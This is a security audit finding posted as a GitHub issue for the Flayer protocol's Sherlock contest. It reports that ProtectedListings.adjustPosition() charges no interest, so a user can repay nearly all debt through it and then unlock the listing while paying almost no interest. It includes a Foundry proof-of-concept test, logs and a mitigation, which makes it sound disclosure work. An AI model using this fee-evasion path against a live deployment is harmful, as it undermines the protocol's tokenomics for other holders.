sherlock-audit / 2024-08-flayer-judging

2 stars 0 forks source link

jecikpo - User can avoid paying interest rate on their protected Listing by adjusting the position #729

Open sherlock-admin2 opened 1 month ago

sherlock-admin2 commented 1 month ago

jecikpo

Medium

User can avoid paying interest rate on their protected Listing by adjusting the position

Summary

Lack of interest charge in ProtectedListings.adjustPosition() allows a user to avoid paying interest rate. The user can reduce their tokenTaken value to smallest amount possible, then when he unlocks the protected listing, the interest rate charged would be calculated based on the reduced amount.

Root Cause

in ProtectedListings.adjustPosition() the _amount provided by the user can be directly deducted from the tokenTaken. As the tokenTaken is reduced when user wants to unlock their protected listing, he will call ProtectedListings.unlockProtectedListing(). Then the interest rate shall be calculated only based on the remaining tokenTaken. What the user repaid using adjustPosition() is on zero interest.

The problematic function: https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366

Internal pre-conditions

  1. A user needs to have a created protected listing which is healthy (i.e. the protected listing did not yet run out of collateral)

External pre-conditions

No external pre-conditions are required.

Attack Path

  1. User creates a protected listing with certain amounts of tokenTaken
  2. After some time the user instead of calling ProtectedListings.unlockProtectedListing() is calling ProtectedListings.adjustPosition() and repays the debt up to maximum amount possible.
  3. user calls ProtectedListings.unlockProtectedListing() and pays the interest on the minimum amount of debt that is left to unlock the listing.

Impact

There is no impact to the fee loss of the protocol as in ProtectedListings the fees paid by the user are burned. however by allowing users to create protected listings without sufficient fees, the protocol tokenomics might be negatively affected as it could lead to over use of the protected listings and increase the ERC20 supply.

PoC

PoC test:

    function test_MyAbuseAdjustPosition() public {
        address payable _owner1 = payable(address(0x01));

        // Deploy our platform contracts
        _deployPlatform();

        // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
        // is explicitly created in a number of tests.
        locker.createCollection(address(erc721a), 'Test Collection', 'TEST', 0);

        // Initialise our collection
        _initializeCollection(erc721a, SQRT_PRICE_1_2);

        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner1, TOKEN_ID);

        deal(address(locker.collectionToken(address(erc721a))), _owner1, 2 ether);

        uint balanceBefore = locker.collectionToken(address(erc721a)).balanceOf(_owner1);

        // Create our listing for owner 1
        vm.startPrank(_owner1);
        erc721a.approve(address(protectedListings), TOKEN_ID);

        IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
            owner: _owner1,
            tokenTaken: 0.4 ether,
            checkpoint: 0
        });

        // Create our listing
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(TOKEN_ID),
                listing: listing
            })
        });
        vm.stopPrank();

        // Warp forward half the time, so that we can test the required amount to be repaid in addition
        vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));

        // unlock the listing:
        vm.startPrank(_owner1);
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), 1 ether);
        //protectedListings.adjustPosition(address(erc721a), TOKEN_ID, -(0.4 ether - 1));
        protectedListings.unlockProtectedListing(address(erc721a), TOKEN_ID, true);

        uint balanceAfter = locker.collectionToken(address(erc721a)).balanceOf(_owner1);

        console.log("Paid: %d", balanceBefore - balanceAfter);
    }

Run the PoC code as it is and you should get the total cost of the protected listing interest:

[PASS] test_MyAbuseAdjustPosition() (gas: 25609630)
Logs:
  Paid: 2055890410801919

next uncomment the following line which repays the entire debt minus 1:

//protectedListings.adjustPosition(address(erc721a), TOKEN_ID, -(0.4 ether - 1));

After running again, we see that the cost to the user was zero:

[PASS] test_MyAbuseAdjustPosition() (gas: 25612537)
Logs:
  Paid: 0

Mitigation

Implement interest rate charge at the adjustPosition() position function when users decreases their debt.